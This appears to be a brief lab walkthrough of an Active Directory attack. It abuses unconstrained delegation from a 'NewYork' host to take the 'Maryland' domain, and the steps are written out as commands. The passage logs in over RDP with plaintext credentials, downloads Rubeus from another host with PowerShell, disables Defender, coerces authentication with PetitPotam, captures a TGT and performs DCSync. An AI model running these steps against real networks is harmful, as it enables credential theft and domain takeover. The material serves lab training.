Use unconstrained delegation
From NewYork we can rule the Maryland domain with unconstrained delegation
We connect to NewYork with rdp as an administrator
xfreerdp /d:newyork.local /u:mateo.Pacheco /p:'elsenorpacheco' /v:192.168.56.10 /size:80% /cert-ignoreFor more simplicity we will disable defender
Now we launch rubeus.exe to wait for a TGT of the essos forest.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.56.31:8000/Rubeus.exe', 'C:\Users\mateo.Pacheco\Desktop\Rubeus.exe')Disable Defender and upload again
Set-MpPreference -DisableRealtimeMonitoring $true.\Rubeus.exe monitor /filteruser:BALTIMORE$ /interval:1
And we run petitpotam on our linux console to force a coerce of maryland to newyork.
Download Petipotam.py
And we get the TGT of Baltimore!
Now we can copy it to linux (delete space and \n)
Decode the base64 and save it to a kirbi file
Convert it to ccache and use it to dcsync maryland.local
Got Shell?
Last updated